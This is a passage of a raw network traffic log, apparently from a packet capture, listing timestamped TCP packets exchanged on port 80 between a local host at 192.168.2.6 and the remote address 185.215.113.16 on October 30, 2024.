Oct 30, 2024 05:25:14.311077118 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.311094046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.311167002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311177969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311187983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311206102 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.311216116 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.311345100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311357021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311367035 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311394930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.311404943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.311517954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311528921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311537981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311598063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.312061071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.312117100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.312135935 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.312146902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.312161922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.312169075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.312176943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.312196970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.312220097 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.312227011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.312236071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.312247992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.312257051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.312272072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.312287092 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.330709934 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330720901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330732107 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330743074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330769062 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.330790043 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.330805063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330816031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330826998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330837011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330845118 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.330856085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330867052 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.330893040 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.330970049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330980062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.330991030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.331000090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.331008911 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.331032038 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.331041098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.331058979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.331082106 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.354214907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.354233980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.354243994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.354279995 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.354435921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388781071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388817072 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388828039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388838053 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388850927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388865948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388879061 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388892889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388905048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388911963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388921022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388931990 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388937950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388946056 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388952971 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388961077 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388971090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.388978004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.388993025 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389005899 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389075994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389086008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389096022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389106989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389125109 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389178038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389215946 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389234066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389244080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389275074 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389283895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389350891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389370918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389380932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389394045 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389399052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389408112 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389424086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389436960 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389442921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389455080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389473915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389488935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389503002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389513016 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389533043 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389548063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389559984 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389570951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389590979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389642000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389811039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389821053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389826059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.389857054 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.389877081 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428392887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428417921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428428888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428468943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428488970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428495884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428508043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428519011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428539991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428554058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428560972 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428570032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428579092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428590059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428600073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428607941 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428621054 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428646088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428708076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428718090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428728104 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428738117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428749084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428770065 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428801060 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428822994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428833961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428843021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428881884 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428904057 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428924084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428939104 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428949118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.428966999 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.428992987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429042101 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429052114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429066896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429099083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429114103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429724932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429769993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429775953 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429786921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429816008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429826975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429833889 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429843903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429864883 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429878950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429887056 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429898024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429910898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.429922104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429935932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.429951906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.447700024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447712898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447731972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447743893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447753906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447770119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447782040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447791100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.447868109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447942019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447952986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.447978020 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.447978020 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.447988987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.448014975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.448025942 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.448035955 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.448041916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.448050022 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.448067904 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.448074102 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.448081017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.448101044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.448107958 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.448116064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.448129892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.448136091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.448148966 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.448167086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.472363949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.472373962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.472384930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.472395897 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.472537041 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.472537041 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506247997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506273985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506285906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506308079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506342888 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506432056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506443977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506460905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506484985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506501913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506513119 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506531954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506542921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506562948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506580114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506591082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506603003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506614923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506625891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506654024 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506674051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506712914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506724119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506732941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506762028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506767988 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506777048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.506797075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.506829977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507057905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507069111 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507085085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507102966 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507107973 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507118940 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507126093 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507138968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507158041 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507175922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507181883 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507200956 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507210970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507219076 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507227898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507236004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507253885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507271051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507306099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507354021 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507380009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507390022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507405043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.507416964 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.507440090 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.545748949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.545759916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.545775890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.545794010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.545804977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.545821905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.545833111 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.545918941 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.545918941 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.545918941 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.545988083 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546000957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546011925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546036005 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546049118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546057940 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546066046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546086073 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546104908 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546109915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546145916 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546164989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546175957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546192884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546202898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546210051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546235085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546395063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546406984 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546416998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546444893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546461105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546516895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546525955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546535015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546564102 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546590090 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546613932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546623945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546633959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.546660900 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.546681881 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547120094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547166109 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547173023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547183037 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547211885 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547218084 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547231913 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547247887 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547255039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547265053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547280073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547295094 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547316074 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547324896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547346115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547363997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547384977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.547390938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547399044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.547425985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565268993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565293074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565306902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565318108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565326929 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565337896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565342903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565361977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565370083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565378904 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565395117 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565398932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565419912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565431118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565443993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565464973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565470934 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565480947 CET	80	49993	185.215.113.16	192.168.2.6
